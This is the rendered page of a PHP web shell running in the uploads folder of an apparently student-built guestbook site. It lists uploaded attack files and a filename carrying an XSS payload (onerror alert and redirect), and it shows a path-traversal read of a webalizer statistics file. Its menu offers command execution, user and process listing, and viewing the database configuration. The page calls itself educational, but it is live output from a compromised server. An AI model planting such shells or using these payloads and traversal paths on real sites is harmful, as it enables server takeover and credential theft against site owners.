🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../../../../public_html/../private_html/../private_html/../stats/586653/../webalizer.hist

# Webalizer V2.23-08 History Data - 07/Sep/2023 00:10:47 (120 month)
9 2023 3 3 1 18 6 6 1 1
8 2023 10 10 2 42 29 31 4 3
7 2023 3 3 1 18 10 10 1 1
6 2023 23 13 2 67 26 26 8 3
5 2023 0 0 0 0 0 0 0 0
4 2023 0 0 0 0 0 0 0 0
3 2023 0 0 0 0 0 0 0 0
2 2023 0 0 0 0 0 0 0 0
1 2023 0 0 0 0 0 0 0 0
12 2022 0 0 0 0 0 0 0 0
11 2022 0 0 0 0 0 0 0 0
10 2022 0 0 0 0 0 0 0 0
9 2022 0 0 0 0 0 0 0 0
8 2022 0 0 0 0 0 0 0 0
7 2022 0 0 0 0 0 0 0 0
6 2022 0 0 0 0 0 0 0 0
5 2022 0 0 0 0 0 0 0 0
4 2022 0 0 0 0 0 0 0 0
3 2022 0 0 0 0 0 0 0 0
2 2022 0 0 0 0 0 0 0 0
1 2022 0 0 0 0 0 0 0 0
12 2021 0 0 0 0 0 0 0 0
11 2021 0 0 0 0 0 0 0 0
10 2021 0 0 0 0 0 0 0 0
9 2021 0 0 0 0 0 0 0 0
8 2021 0 0 0 0 0 0 0 0
7 2021 0 0 0 0 0 0 0 0
6 2021 0 0 0 0 0 0 0 0
5 2021 0 0 0 0 0 0 0 0
4 2021 0 0 0 0 0 0 0 0
3 2021 0 0 0 0 0 0 0 0
2 2021 0 0 0 0 0 0 0 0
1 2021 0 0 0 0 0 0 0 0
12 2020 0 0 0 0 0 0 0 0
11 2020 0 0 0 0 0 0 0 0
10 2020 0 0 0 0 0 0 0 0
9 2020 0 0 0 0 0 0 0 0
8 2020 0 0 0 0 0 0 0 0
7 2020 0 0 0 0 0 0 0 0
6 2020 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0
7 2016 0 0 0 0 0 0 0 0
6 2016 0 0 0 0 0 0 0 0
5 2016 0 0 0 0 0 0 0 0
4 2016 0 0 0 0 0 0 0 0
3 2016 0 0 0 0 0 0 0 0
2 2016 0 0 0 0 0 0 0 0
1 2016 0 0 0 0 0 0 0 0
12 2015 0 0 0 0 0 0 0 0
11 2015 0 0 0 0 0 0 0 0
10 2015 0 0 0 0 0 0 0 0
9 2015 0 0 0 0 0 0 0 0
8 2015 0 0 0 0 0 0 0 0
7 2015 0 0 0 0 0 0 0 0
6 2015 0 0 0 0 0 0 0 0
5 2015 0 0 0 0 0 0 0 0
4 2015 0 0 0 0 0 0 0 0
3 2015 0 0 0 0 0 0 0 0
2 2015 0 0 0 0 0 0 0 0
1 2015 0 0 0 0 0 0 0 0
12 2014 0 0 0 0 0 0 0 0
11 2014 0 0 0 0 0 0 0 0
10 2014 0 0 0 0 0 0 0 0
9 2014 0 0 0 0 0 0 0 0
8 2014 0 0 0 0 0 0 0 0
7 2014 0 0 0 0 0 0 0 0
6 2014 0 0 0 0 0 0 0 0
5 2014 0 0 0 0 0 0 0 0
4 2014 0 0 0 0 0 0 0 0
3 2014 0 0 0 0 0 0 0 0
2 2014 0 0 0 0 0 0 0 0
1 2014 0 0 0 0 0 0 0 0
12 2013 0 0 0 0 0 0 0 0
11 2013 0 0 0 0 0 0 0 0
10 2013 0 0 0 0 0 0 0 0

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!